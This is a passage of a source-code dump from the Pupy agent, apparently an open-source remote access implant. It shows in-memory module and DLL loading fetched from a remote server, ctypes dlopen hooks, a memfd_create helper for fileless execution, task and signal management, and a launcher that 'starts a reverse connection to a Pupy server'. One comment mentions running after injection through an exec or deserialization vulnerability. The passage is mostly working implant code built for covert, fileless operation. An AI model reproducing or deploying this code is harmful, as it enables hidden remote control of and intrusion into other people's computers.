fullname.startswith(alias):\n                continue\n\n            parts = fullname.split('.')\n            if parts[0] == alias:\n                parts[0] = aliased\n\n            new_fullname = '.'.join(parts)\n\n            dprint('Rename: {} -> {}'.format(\n                fullname, new_fullname))\n\n            return new_fullname\n\n        return fullname\n\n    def _make_module(self, fullname, mod=None):\n        return make_module(fullname, self.path, self.is_pkg, mod)\n\n    def load_module(self, fullname):\n        _imp.acquire_lock()\n        try:\n            fullname = self._rename_aliased(fullname)\n\n            if fullname in sys.modules:\n                return sys.modules[fullname]\n\n            dprint('loading module {} (ext: {})', fullname, self.extension)\n            extension = '.' + self.extension\n\n            mod = None\n            if extension in EXTS_SOURCES:\n                dprint('Load {} from source file ({})'.format(\n                    fullname, self.extension))\n\n                mod = self._make_module(fullname)\n                code = compile(self.contents, mod.__file__, 'exec')\n                exec (code, mod.__dict__)\n\n            elif extension in EXTS_COMPILED:\n                dprint('Load {} from marshalled file ({})'.format(\n                    fullname, self.extension))\n\n                try:\n                    mod = self._make_module(fullname)\n                    loadpy(\n                        self.contents[8:],\n                        mod.__dict__,\n                        self.extension == 'pye'\n                    )\n                except Exception as e:\n                    remote_error('Load {} failed: Exception: {}'.format(\n                        fullname, e))\n                    raise\n\n            elif extension in EXTS_NATIVE:\n                if not is_supported(_import_module):\n                    raise ImportError(\n                        'memimporter interface is not initialized yet')\n                if sys.version_info[0]==3:\n                    initname = 'PyInit_' + fullname.rsplit('.', 1)[-1]\n                else:\n                    initname = 'init' + fullname.rsplit('.', 1)[-1]\n\n                dprint('Load {} from native file {}'.format(\n                    fullname, self.path))\n                mod = import_module(self.contents, initname, fullname, self.path)\n                dprint('mod to load : {}'.format(mod))\n                self._make_module(fullname, mod)\n\n            else:\n                raise ImportError('Unsupported extension {}'.format(\n                    self.extension))\n\n        except Exception as e:\n            dprint('Error loading package {} ({} pkg={}): {}',fullname, self.path, self.is_pkg, e)\n            if fullname in sys.modules:\n                dprint(\"Error ! %s : deleting from modules : %s\"%(e,fullname))\n                del sys.modules[fullname]\n\n            remote_error(\n                'Error loading package {} ({} pkg={})',\n                fullname, self.path, self.is_pkg\n            )\n            raise\n\n        finally:\n            self.contents = None\n            _imp.release_lock()\n            gc.collect()\n        return sys.modules[fullname]\n\n\nclass PupyPackageFinderImportError(ImportError):\n    __slots__ = ()\n\nimport _frozen_importlib_external as _bootstrap_external\nclass PupyPackageFinder(_bootstrap_external._LoaderBasics):\n    __slots__ = ('path', 'locals', 'globals')\n\n    search_lock = None\n    search_set = set()\n\n    def __init__(self, path):\n        dprint(\"PupyPackageFinder for {}\".format(path))\n        if type(path) == bytes:\n            path = path.decode('utf8', 'replace')\n        if path and not path.startswith('pupy://'):\n            raise PupyPackageFinderImportError()\n\n        self.path = path[7:].replace('\\\\', '/')\n        self.locals = locals()\n        self.globals = globals()\n\n    @staticmethod\n    def init_search_lock():\n        from threading import Lock\n        PupyPackageFinder.search_lock = Lock()\n\n    def _rename_aliased(self, fullname):\n        for alias, aliased in aliases.items():\n            if not fullname.startswith(alias):\n                continue\n\n            if fullname.startswith(alias):\n                parts = fullname.split('.')\n                if parts[0] == alias:\n                    parts[0] = aliased\n                    fullname = '.'.join(parts)\n                    return fullname\n\n        return fullname\n\n    def _is_already_loaded(self, fullname):\n        parts = fullname.split('.')[:-1]\n\n        for i in xrange(len(parts)):\n            part = '.'.join(parts[:i+1])\n            if part in pupy_modules.modules or part in sys.modules:\n                return True\n\n        return False\n\n    def _remote_load_packages(self, fullname, second_pass):\n        remote_load_package=pupy_hooks.remote_load_package\n        dprint(\"remote_load_package : %s\"% remote_load_package)\n        if not remote_load_package or second_pass:\n            return\n        if self._is_already_loaded(fullname):\n            return None\n\n        from pupy.agent.utils import pupy_add_package, safe_obtain\n\n        if PupyPackageFinder.search_lock is not None:\n            with PupyPackageFinder.search_lock:\n                if fullname in PupyPackageFinder.search_set:\n                    return None\n                else:\n                    PupyPackageFinder.search_set.add(fullname)\n\n        try:\n            dprint('Remote load package {}'.format(fullname))\n            packages, dlls = remote_load_package(fullname)\n            dprint('Remote load package {} - success'.format(fullname))\n            if not packages and not dlls:\n                dprint('Remote load package {} - not found'.format(fullname))\n            else:\n                if dlls:\n                    dlls = safe_obtain(dlls)\n                    for name, blob in dlls:\n                        load_dll(name, blob)\n\n                if packages:\n                    pupy_add_package(packages, True, fullname)\n\n                if fullname in sys.modules:\n                    return DummyPackageLoader(fullname)\n\n                return self.find_module(fullname, second_pass=True)\n\n        except Exception as e:\n            dprint('Exception: {}'.format(e))\n\n        finally:\n            if PupyPackageFinder.search_lock is not None:\n                with PupyPackageFinder.search_lock:\n                    PupyPackageFinder.search_set.remove(fullname)\n\n    def iter_modules(self, fullname, path=None):\n        spath = self.path+'/'\n        lpath = len(spath)\n\n        for module in list(pupy_modules.modules):\n            if not module.startswith(spath):\n                continue\n\n            sub_path = module[lpath:]\n            first, rest = sub_path.split('/', 1)\n            if first.endswith(EXTS_ALL):\n                yield first.rsplit('.', 1)[0], False\n            elif '.' not in first and rest in ANY_INIT:\n                yield first, True\n\n    def find_module(self, fullname, path=None, second_pass=False):\n        if fullname.startswith('exposed_'):\n            return None\n\n        fullname = self._rename_aliased(fullname)\n\n\n        if not second_pass:\n            _imp.acquire_lock()\n        if fullname in sys.modules:\n            dprint('found module in sys.modules: %s'%fullname)\n            return DummyPackageLoader(fullname)\n\n        dprint('Find module: {}/{}'.format(fullname, second_pass))\n\n        selected = None\n\n        try:\n            files = None\n\n            if fullname in direct_load:\n                direct_load_name = direct_load[fullname]\n                files = get_module_files(direct_load_name)\n            else:\n                files = get_module_files(fullname)\n\n            if not is_supported(_import_module):\n                dprint('[L] _import_module is not supported ... find_module: filter out native libs')\n                files = [\n                    f for f in files if not f.lower().endswith(EXTS_NATIVE)\n                ]\n\n            if not files:\n                files = []\n\n                dprint(\n                    '{} not found in {}: not in {} files'.format(\n                        fullname, files, len(files)\n                    )\n                )\n\n                return self._remote_load_packages(fullname, second_pass)\n\n            criterias = (\n                lambda f: any([\n                    f.endswith('/__init__'+ext) for ext in (\n                        EXTS_COMPILED + EXTS_SOURCES\n                    )\n                ]),\n                lambda f: f.endswith(EXTS_NATIVE),\n                lambda f: f.endswith(EXTS_COMPILED),\n                lambda f: f.endswith(EXTS_SOURCES),\n            )\n\n            selected = None\n            for criteria in criterias:\n                for candidate in files:\n                    if criteria(candidate):\n                        selected = candidate\n                        break\n\n            if not selected:\n                dprint('{} not selected from {}', fullname, files)\n                return None\n\n            del files[:]\n\n            content = pupy_modules.modules[selected]\n            dprint(\n                '{} found in \"{}\" / size = {}',\n                fullname, selected, len(content)\n            )\n\n            extension = selected.rsplit(\".\", 1)[1].strip().lower()\n            is_pkg = any([\n                selected.endswith('/__init__'+ext) for ext in (\n                    EXTS_COMPILED + EXTS_SOURCES\n                )\n            ])\n\n            dprint('--> Loading {} ({}) package={}'.format(\n                fullname, selected, is_pkg))\n\n            return PupyPackageLoader(\n                fullname, content, extension, is_pkg, selected\n            )\n\n        except Exception as e:\n            dprint('--> Loading {} failed: {}/{}'.format(fullname, e, type(e)))\n            if 'traceback' in sys.modules:\n                import traceback\n                traceback.print_exc(e)\n\n            raise\n\n        finally:\n            if selected and selected in pupy_modules.modules:\n                dprint('[L] {} remove {} from bundle / count = {}'.format(\n                    fullname, selected, len(pupy_modules.modules)))\n                del pupy_modules.modules[selected]\n\n            if not second_pass:\n                _imp.release_lock()\n                pass\n\n            gc.collect()\n\n    def __repr__(self):\n        return 'PupyPackageFinder({!r})'.format(self.path)\n\n\n\ndef initialize_basic_windows_modules():\n    dprint('Initialize basic windows modules')\n    try:\n        if 'pywintypes27.dll' in pupy_modules.modules:\n            dprint('Load pywintypes')\n            load_dll('pywintypes27.dll', pupy_modules.modules['pywintypes27.dll'])\n            del pupy_modules.modules['pywintypes27.dll']\n\n            dprint('Load pywin32 loader')\n            import _win32sysloader  # noqa\n    except (NotImplementedError, WindowsError, ImportError) as e:\n        dprint(\"Failed to load pywin32 loader: \" + str(e))\n        # We will try to leave without them..\n        # This may happen on default python27 install\n        pass\n\n    from pupy.agent.winerror_hacks import apply_winerror_hacks\n\n    # Enable unicode descriptions for windows errors\n    apply_winerror_hacks()\n\n\ndef load_pupyimporter(stdlib=None):\n\n    try:\n        gc.set_threshold(128)\n    except NotImplementedError:\n        pass\n\n    if stdlib:\n        pupy_modules.modules.update(stdlib)\n\n\n    if is_native():\n        dprint('Install pupyimporter (standalone)')\n        sys.path = [\"pupy://\"]\n        sys.path_hooks = [PupyPackageFinder]\n\n        dprint(\"meta_path: %s\"%sys.meta_path)\n        dprint(\"path_hooks: %s\"%sys.path_hooks)\n        dprint(\"path: %s\"%sys.path)\n\n    else:\n        dprint('Install pupyimporter + local packages')\n        #sys.meta_path=[]\n        sys.path.insert(0, 'pupy://')\n        sys.path_hooks.insert(0, PupyPackageFinder)\n        try:\n            import _frozen_importlib_external\n            # fix some missing default python meta_path, for instance with pyoxidizer\n            if _frozen_importlib_external.PathFinder not in sys.meta_path:\n                sys.meta_path.append(_frozen_importlib_external.PathFinder)\n        except:\n            pass\n\n    sys.path_importer_cache.clear()\n\n    PupyPackageFinder.init_search_lock()\n\n    if is_native():\n        # fixup some modules that were not imported correctly during bootstrap\n        # TODO: investigate a cleaner way\n        del sys.modules[\"collections\"]\n        del sys.modules[\"collections.abc\"]\n        import collections.abc\n        import collections\n        collections # use collections to ignore an IDE warning\n\n        import pupy\n        setattr(pupy, 'agent', sys.modules['pupy.agent'])\n\n    if sys.platform == 'win32':\n        initialize_basic_windows_modules()\n\n\ndef init_pupy(argv, stdlib, debug=False):\n    global LOGGER\n    global __dprint_method\n    global __debug_file\n\n    set_stdio(null=not debug)\n    set_debug(debug)\n\n    dprint(\n        'init_pupy: argv={} sys.argv={}',\n        repr(argv), repr(sys.argv)\n    )\n\n    if sys.argv != argv:\n        setattr(sys, 'real_argv', list(sys.argv))\n        sys.argv = argv\n\n    if hasattr(sys.platform, 'addtarget'):\n        sys.platform.addtarget(None)\n\n    setup_hooks()\n    setup_modules()\n    load_pupyimporter(stdlib)\n\n    LOGGER = get_logger('pupy')\n\n\n    if debug:\n        from .logger import enable_debug_logger\n        __debug_file = enable_debug_logger(LOGGER)\n\n        for pending in __debug_pending:\n            if isinstance(pending, Exception):\n                LOGGER.exception(pending)\n            else:\n                LOGGER.error(pending)\n\n        del __debug_pending[:]\n\n    __dprint_method = LOGGER.debug\n\n    import platform\n\n    platform._syscmd_uname = lambda *args, **kwargs: ''\n\n    if is_supported(get_arch):\n        platform.architecture = lambda *args, **kwargs: (\n            '64bit' if '64' in get_arch() else '32bit', ''\n        )\n\n\ndef load_memimporter_fallback():\n    global _import_module\n    global _load_dll\n\n    if not is_supported(_import_module):\n        try:\n            from .memimporter import load_dll, import_module\n\n            _import_module = import_module\n            _load_dll = load_dll\n        except ImportError:\n            import traceback\n            dprint('memimporter is not available')\n            dprint(traceback.format_exc(), error=True)\n\n\ndef setup_credentials(config):\n    if 'credentials' not in config:\n        return\n\n    credentials = make_module('pupy_credentials')\n    for cred, value in config.pop('credentials').items():\n        setattr(credentials, cred, value)\n\n\ndef setup_manager():\n    global Task\n    global Manager\n    global manager\n\n    from .pstore import PStore\n    from .manager import Task as _Task\n    from .manager import Manager as _Manager\n\n    pstore_dir = config.get('pstore', '~')\n\n    Manager = _Manager\n    Task = _Task\n    manager = Manager(PStore(pstore_dir))\n\n    import pupy.agent\n    setattr(pupy.agent, \"Manager\", _Manager)\n    setattr(pupy.agent, \"Task\", _Task)\n    setattr(pupy.agent, \"manager\", manager)\n\n\ndef setup_network():\n    from pupy.network.conf import load_modules\n    load_modules()\n\n\ndef setup_obtain():\n    global obtain\n\n    from pupy.agent.utils import safe_obtain\n    obtain = safe_obtain\n\ndef setup_hooks():\n    global pupy_hooks\n    dprint(\"setting up hooks\")\n    pupy_hooks = make_module('pupy_hooks')\n    setattr(pupy_hooks, \"remote_load_package\", None)\n    setattr(pupy_hooks, \"remote_print_error\", None)\n\ndef setup_modules():\n    global pupy_modules\n    dprint(\"setting up modules\")\n    pupy_modules = make_module('pupy_modules')\n    setattr(pupy_modules, \"modules\", {})\n\n\ndef prepare(argv=sys.argv, debug=False, config={}, stdlib=None):\n    set_pupy_config(config)\n\n    if config.get('debug', False):\n        debug = True\n\n    init_pupy(argv, stdlib, debug)\n\n    dprint(\"Apply dl_hacks..\")\n\n    if \"rustc\" not in sys.version:\n        from .dl_hacks import apply_dl_hacks\n        apply_dl_hacks()\n    setup_obtain()\n\n    dprint(\"Register pupyimporter..\")\n\n    from pupy.agent.utils import register_pupyimporter\n    register_pupyimporter()\n\n    dprint(\"Prepare rest..\")\n\n    from .handlers import set_sighandlers\n    from .ssl_hacks import apply_ssl_hacks\n    from .psutil_hacks import apply_psutil_hacks\n\n    from pupy.network.conf import load_network_modules\n\n    set_sighandlers()\n    apply_ssl_hacks()\n    apply_psutil_hacks()\n    load_memimporter_fallback()\n    setup_credentials(config)\n    setup_manager()\n    load_network_modules()\n\n    dprint(\"Prepare complete\")\n\n\ndef main(argv=sys.argv, debug=False, config={}, stdlib=None):\n    prepare(argv, debug, config, stdlib)\n\n    from .service import run\n    run(config)\n"
  },
  {
    "path": "pupy/agent/__main__.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport argparse\nimport sys\nimport os\n\nfrom . import main\nsetattr(sys, '__pupy_main__', True)\n\nroot = os.path.dirname(os.path.dirname(__file__))\n\nsys.path.extend((\n    root, os.path.join(root, 'library_patches_py3')\n))\n\nsys.tracebacklimit = 50\n\nimport pupy.pupylib\nassert(pupy.pupylib)\n\nfrom pupy.network.conf import launchers\n\nparser = argparse.ArgumentParser('pupy')\nparser.add_argument(\n    '--debug', action='store_true', default=False, help='Enable debug'\n)\nparser.add_argument(\n    'launcher', choices=tuple(launchers), default='connect', help='Launcher'\n)\nparser.add_argument(\n    'args', nargs=argparse.REMAINDER, help='Launcher args'\n)\n\nargs = parser.parse_args()\n\nmain(config={\n    'launcher': args.launcher,\n    'launcher_args': args.args,\n}, argv=[], debug=args.debug)\n\nif __debug__:\n    import threading\n    for thread in threading.enumerate():\n        print(\"> ALIVE:\", thread, thread.daemon)\nelse:\n    import platform\n\n    if not platform.system() == 'android':\n        if not hasattr(platform, 'pupy_thread'):\n            # to allow pupy to run in background when imported or injected\n            # through a python application exec/deserialization vulnerability\n            t = threading.Thread(target=main)\n            t.daemon = True\n            t.start()\n            setattr(platform, 'pupy_thread', t)\n"
  },
  {
    "path": "pupy/agent/_linux_memfd.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'memfd_create', 'memfd_is_supported'\n)\n\ntry:\n    from _pupy import (\n        memfd_create, memfd_is_supported\n    )\n\nexcept ImportError:\n    import os\n    import sys\n    import ctypes\n    import platform\n\n    import pupy.agent\n\n    SELF = ctypes.CDLL(None)\n    syscall = SELF.syscall\n\n\n    def _get_nr_memfd_create_syscall():\n        __NR_memfd_create_syscall = {\n            'x86_64': 319,\n            'i686': 356,\n            'arm': 385,\n        }\n\n        machine = platform.machine()\n        if machine.startswith('arm'):\n            machine = 'arm'\n\n        return __NR_memfd_create_syscall.get(machine, None)\n\n\n    NR_memfd_create = _get_nr_memfd_create_syscall()\n\n\n    def _memfd_create(name):\n        return syscall(NR_memfd_create, name, 0x1)\n\n\n    def memfd_is_supported():\n        if not sys.platform.startswith('linux'):\n            pupy.agent.dprint('memfd: disabled for non-linux')\n            return False\n\n        if platform.system() == 'Java':\n            pupy.agent.dprint('memfd: disabled for jython')\n            return False\n\n        kv_maj, kv_min = platform.release().split('.')[:2]\n        kv_maj = int(kv_maj)\n        kv_min = int(kv_min)\n\n        if kv_maj < 3:\n            pupy.agent.dprint('memfd: kernel too old (maj < 3)')\n            return False\n\n        elif kv_maj == 3 and kv_min < 13:\n            pupy.agent.dprint('memfd: kernel too old (maj == 3, min < 13)')\n            return False\n\n        if NR_memfd_create is None:\n            pupy.agent.dprint('memfd: Syscall NR is not defined')\n            return False\n\n        fd = _memfd_create('probe')\n        if fd == -1:\n            pupy.agent.dprint('memfd: probe failed')\n            return False\n\n        try:\n            supported = os.path.isfile(\n                os.path.sep + os.path.join(\n                'proc', 'self', 'fd', str(fd)))\n            pupy.agent.dprint('memfd: supported={} (fd={})', supported, fd)\n\n            return supported\n        finally:\n            os.close(fd)\n\n\n    def memfd_create(name='heap'):\n        fd = _memfd_create(name)\n        if fd == -1:\n            raise OSError('memfd_create failed')\n\n        return os.fdopen(fd, 'wb'), os.path.sep + os.path.join(\n            'proc', str(os.getpid()), 'fd', str(fd)\n        )\n"
  },
  {
    "path": "pupy/agent/config.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport sys\n\nimport pupy.agent\n\nfrom pupy.network import conf\nfrom pupy.network.lib.convcompat import shlex\n\n\ndef update_config_from_argv():\n    if len(sys.argv) < 2:\n        return\n\n    parser = argparse.ArgumentParser(\n        prog='pp.py',\n        formatter_class=argparse.RawTextHelpFormatter,\n        description=\"Starts a reverse connection to a Pupy server using the selected launcher\\nLast sources: https://github.com/n1nj4sec/pupy\\nAuthor: @n1nj4sec (contact@n1nj4.eu)\\n\")\n\n    parser.add_argument(\n        '--debug',\n        action='store_true',\n        help=\"increase verbosity\")\n\n    parser.add_argument(\n        'launcher',\n        choices=[\n            x for x in conf.launchers],\n        help=\"the launcher to use\")\n\n    parser.add_argument(\n        'launcher_args',\n        nargs=argparse.REMAINDER,\n        help=\"launcher arguments\")\n\n    args = parser.parse_args()\n\n    if args.debug:\n        agent.config['debug'] = bool(args.debug)\n\n    agent.config.update({\n        'launcher': args.launcher,\n        'launcher_args': shlex.split(' '.join(args.launcher_args))\n    })\n"
  },
  {
    "path": "pupy/agent/dl_hacks.py",
    "content": "# -*- coding: utf-8 -*-\n\n__all__ = ('apply_dl_hacks',)\n\nimport os\nimport sys\nif not \"rustc\" in sys.version:\n    import ctypes\nelse:\n    ctypes=None\nimport pupy.agent as pupy\n\ntry:\n    import ctypes.util\n    have_ctypes_util = True\nexcept ImportError:\n    have_ctypes_util = False\n\nhave_ctypes_dlopen = hasattr(ctypes, '_dlopen')\n\nNATIVE_LIB_PATTERNS = [\n    'lib{}.so', '{}.so',\n    'lib{}.pyd', '{}.pyd',\n    'lib{}.dll', '{}.dll',\n    'lib{}310.dll'\n]\n\n\ndef _find_library(name):\n    pupy.dprint('_find_library called: {} => {}', name)\n    for pattern in NATIVE_LIB_PATTERNS:\n        libname = pattern.format(name)\n        try:\n            return ctypes.CDLL(libname)\n        except:\n            pass\n    pupy.dprint('library {} not found ...', name)\n\n\ndef _pupy_make_library_path(name):\n    if not name:\n        return\n\n    if 'pupy:' in name:\n        name = name[name.find('pupy:')+5:]\n        name = os.path.relpath(name)\n        name = '/'.join([\n            x for x in name.split(os.path.sep) if x and x not in ('.', '..')\n        ])\n\n    return name\n\n\ndef _pupy_find_library(name):\n    import pupy_modules\n    pupyized = _pupy_make_library_path(name)\n    if pupyized in pupy_modules.modules:\n        pupy.dprint('FIND LIBRARY: {} => {}', name, pupyized)\n        return pupyized\n    else:\n        return ctypes.util._system_find_library(name)\n\n\ndef _pupy_dlopen(name, *args, **kwargs):\n    pupy.dprint('ctypes dlopen: {}', name)\n\n    if name and name.startswith(\"exposed_\"):\n        pupy.dprint('_pupy_dlopen: RPYC hotpatch : renaming %s to %s'%(name, name[8:]))\n        name=name[8:]\n\n    name = _pupy_make_library_path(name)\n    pupy.dprint(\n        'ctypes dlopen / pupyized: {} (system {})',\n        name, ctypes._system_dlopen)\n\n    handle = pupy.load_dll(name)\n    if handle:\n        pupy.dprint(\n            'ctypes dlopen / pupyized : {} found in-memory handle', name)\n        return handle\n    else:\n        pupy.dprint('load_dll by name ({}) failed', name)\n\n    return ctypes._system_dlopen(name, *args, **kwargs)\n\n\ndef apply_dl_hacks():\n    if have_ctypes_dlopen:\n        setattr(ctypes, '_system_dlopen', ctypes._dlopen)\n\n    if have_ctypes_util:\n        ctypes.util._system_find_library = ctypes.util.find_library\n\n        if hasattr(ctypes.util, '_findLib_gcc'):\n            ctypes.util._findLib_gcc = lambda name: None\n    else:\n        ctypes_util = pupy.make_module('ctypes.util')\n\n        setattr(ctypes_util, '_system_find_library', _find_library)\n\n    ctypes._dlopen = _pupy_dlopen\n    ctypes.util.find_library = _pupy_find_library\n\n    libpython = None\n\n    if sys.platform == 'win32':\n        try:\n            libpython = ctypes.PyDLL('python310.dll')\n        except WindowsError:\n            pupy.dprint('python310.dll not found')\n    else:\n        for libname in (None, 'python310.so'):\n            try:\n                candidate = ctypes.PyDLL(libname)\n            except OSError:\n                continue\n\n            if hasattr(candidate, '_Py_PackageContext'):\n                libpython = candidate\n                break\n\n    if libpython is not None:\n        pupy.dprint('Set ctypes.pythonapi to {}', libpython)\n        ctypes.pythonapi = libpython\n"
  },
  {
    "path": "pupy/agent/handlers.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ('set_sighandlers',)\n\nimport os\nimport signal\n\nimport pupy.agent as pupy\n\n\nlogger = pupy.get_logger('signals')\n\n\ndef _defered_close_exit(connection):\n    logger.warning('Defered close+exit')\n\n    logger.info('Terminating client')\n\n    pupy.client.terminate()\n\n    logger.info('Closing connection')\n    if pupy.client.connection:\n        pupy.client.connection.close()\n\n    logger.info('Done')\n\n\ndef _handle_sigchld(*args, **kwargs):\n    os.waitpid(-1, os.WNOHANG)\n\n\ndef _handle_sighup(*args):\n    logger.debug('SIGHUP')\n\n\ndef _handle_sigterm(*args):\n    logger.warning('SIGTERM')\n\n    if pupy.manager:\n        try:\n            pupy.manager.event(pupy.Manager.TERMINATE)\n        except Exception as e:\n            logger.exception(e)\n\n    try:\n        # Should be the custom event, as generated on client\n        pupy.broadcast_event(0x10000000 | 0xFFFF)\n        logger.info('Event broadcasted')\n    except Exception as e:\n        logger.exception(e)\n\n    if pupy.client.connection:\n        pupy.client.connection.defer(\n            logger.exception,\n            _defered_close_exit,\n            pupy.client.connection\n        )\n    else:\n        _defered_close_exit(None)\n\n    logger.warning('SIGTERM HANDLED')\n\n\ndef set_sighandlers():\n    if hasattr(signal, 'SIGHUP'):\n        try:\n            signal.signal(signal.SIGHUP, _handle_sighup)\n        except Exception as e:\n            logger.exception(e)\n\n    if hasattr(signal, 'SIGTERM'):\n        try:\n            signal.signal(signal.SIGTERM, _handle_sigterm)\n        except Exception as e:\n            logger.exception(e)\n\n    if pupy.is_supported(pupy.set_exit_session_callback):\n        try:\n            pupy.set_exit_session_callback(_handle_sigterm)\n        except Exception as e:\n            logger.exception(e)\n"
  },
  {
    "path": "pupy/agent/logger.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# This part executed from bootstrapped weak environment\n# Can't use unicode here, because encodings are not loaded yet\n# from __future__ import unicode_literals\n\n__all__ = ('create_root_logger', 'enable_debug_logger')\n\nfrom os import path, getpid\nfrom time import time\n\nimport logging\nimport tempfile\n\n\ndef create_root_logger(loglevel=logging.WARNING):\n    logging.basicConfig()\n    root_logger = logging.getLogger()\n    root_logger.setLevel(loglevel)\n\n    return root_logger.getChild('pupy')\n\n\ndef enable_debug_logger(root_logger):\n    root_logger.handlers = []\n\n    log_file_path = path.join(\n        tempfile.mkdtemp(prefix='pupy-'),\n        'pupy-client-{}-{}-debug.log'.format(\n            int(time()), getpid()))\n\n    log_to_file = logging.FileHandler(log_file_path)\n    log_to_file.setLevel(logging.DEBUG)\n    log_to_file.setFormatter(\n        logging.Formatter(\n            '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s'))\n\n    log_to_con = logging.StreamHandler()\n    log_to_con.setLevel(logging.DEBUG)\n    log_to_con.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s'))\n\n    root_logger.addHandler(log_to_file)\n    # root_logger.addHandler(log_to_con)\n    root_logger.setLevel(logging.DEBUG)\n\n    root_logger.info('LogFile: %s', log_file_path)\n\n    return log_file_path\n"
  },
  {
    "path": "pupy/agent/manager.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('Task', 'Manager')\n\nfrom threading import Thread, Event\n\nimport pupy.agent\nimport sys\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\nclass Task(Thread):\n\n    __slots__ = (\n        '_pstore', '_stopped', '_manager', '_dirty', '_event_id'\n    )\n\n    stopped = None\n    results_type = list\n    event_id = None\n\n    def __init__(self, manager, *args, **kwargs):\n        Thread.__init__(self)\n\n        self._event_id = kwargs.pop('event_id', self.event_id)\n\n        self.daemon = True\n        self._pstore = manager.pstore\n        self._stopped = Event()\n\n        if not self._pstore[self]:\n            self._pstore[self] = self.results_type()\n\n        self._manager = manager\n        self._dirty = False\n\n        pupy.agent.dprint('Create task {}', self.__class__.__name__)\n\n    @property\n    def name(self):\n        return type(self).__name__\n\n    @property\n    def results(self):\n        results = self._pstore[self]\n        self._pstore[self] = self.results_type()\n        self._dirty = False\n\n        if isinstance(results, list):\n            results = tuple(results)\n\n        return results\n\n    @property\n    def dirty(self):\n        return self._dirty\n\n    def append(self, result):\n        if issubclass(self.results_type, basestring):\n            self._pstore[self] += result\n        elif self.results_type == list:\n            self._pstore[self].append(result)\n        elif self.results_type == set:\n            self._pstore[self].add(result)\n        elif self.results_type == dict:\n            self._pstore[self][result[0]] = result[1]\n        else:\n            raise TypeError(\n                'Unknown results type: {}'.format(self.results_type)\n            )\n\n        fire_event = False\n\n        if not self._dirty:\n            fire_event = True\n\n        self._dirty = True\n\n        try:\n            if fire_event and self._event_id is not None:\n                self.broadcast_event(self._event_id)\n        except:\n            pupy.agent.remote_error('Task (append) error: {}', self.name)\n\n    def broadcast_event(self, eventid, *args, **kwargs):\n        pupy.agent.broadcast_event(eventid, *args, **kwargs)\n\n    def stop(self):\n        pupy.agent.dprint('Stopping task {}', self.__class__.__name__)\n\n        if self._stopped and self.active:\n            self._stopped.set()\n\n    def run(self):\n        pupy.agent.dprint('Task {} started', self.__class__.__name__)\n\n        try:\n            self.task()\n        except:\n            pupy.agent.remote_error('Task (run) error: {}', self.name)\n        finally:\n            pupy.agent.dprint('Task {} completed', self.__class__.__name__)\n\n            if self._stopped:\n                self._stopped.set()\n\n    @property\n    def active(self):\n        if self._stopped is None:\n            return False\n\n        try:\n            return not self._stopped.is_set()\n\n        except:\n            pupy.agent.remote_error('Task (active) error: {}', self.name)\n            return False\n\n    def event(self, event):\n        pass\n\n\nclass Manager(object):\n    TERMINATE = 0\n    PAUSE = 1\n    SESSION = 2\n\n    __slots__ = ('tasks', 'pstore')\n\n    def __init__(self, pstore):\n        self.tasks = {}\n        self.pstore = pstore\n\n    def get(self, klass):\n        name = klass.__name__\n        return self.tasks.get(name)\n\n    def create(self, klass, *args, **kwargs):\n        name = klass.__name__\n        if name not in self.tasks:\n            try:\n                task = klass(self, *args, **kwargs)\n                task.start()\n                self.tasks[name] = task\n                return task\n\n            except:\n                pupy.agent.remote_error('Manager (create): {}', name)\n\n    def stop(self, klass, force=False):\n        name = klass.__name__\n        if name in self.tasks:\n            try:\n                self.tasks[name].stop()\n                del self.tasks[name]\n            except:\n                pupy.agent.remote_error('Manager (stop): {}', name)\n                if force:\n                    del self.tasks[name]\n\n    def active(self, klass):\n        name = klass.__name__\n        if name in self.tasks:\n            if not self.tasks[name].stopped:\n                # Failed somewhere in the middle\n                del self.tasks[name]\n                return False\n\n            return self.tasks[name].stopped.is_set()\n        else:\n            return False\n\n    @property\n    def dirty(self):\n        return any(x.dirty for x in self.tasks.values())\n\n    @property\n    def status(self):\n        return {\n            name:{\n                'active': task.active,\n                'results': task.dirty,\n            } for name,task in self.tasks.items()\n        }\n\n    def event(self, event):\n        for task in self.tasks.values():\n            try:\n                task.event(event)\n            except:\n                pupy.agent.remote_error('Manager (event): {} evt={}', task.name, event)\n\n        if event == self.TERMINATE:\n            for task in self.tasks.values():\n                try:\n                    task.stop()\n                except:\n                    pupy.agent.remote_error(\n                        'Manager (terminate): {} evt={}', task.name, event)\n\n            self.pstore.store()\n"
  },
  {
    "path": "pupy/agent/memimporter/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n__all__ = ('import_module', 'load_dll')\n\nimport sys\nif \"rustc\" in sys.version:\n    from .posix import load_content\nelif sys.platform.startswith('linux'):\n    from .linux import load_content\nelif sys.platform == 'win32':\n    from .win32 import load_content\nelse:\n    from .posix import load_content\n\nfrom pupy.agent import get_logger\n\n\nlogger = get_logger('pymemimporter')\n\n\ndef import_module(data, initname, fullname, path, spec):\n    import logging\n    logger.setLevel(logging.DEBUG)\n    logger.debug('Import module %s', fullname)\n    try:\n        return load_content(data, path, False, initname)\n    except Exception as e:\n        logger.exception(e)\n        raise\n\n\ndef load_dll(name, data):\n    logger.debug('Load dll %s', name)\n    try:\n        return load_content(data, name, True)\n    except Exception as e:\n        logger.exception(e)\n        raise\n"
  },
  {
    "path": "pupy/agent/memimporter/linux.py",
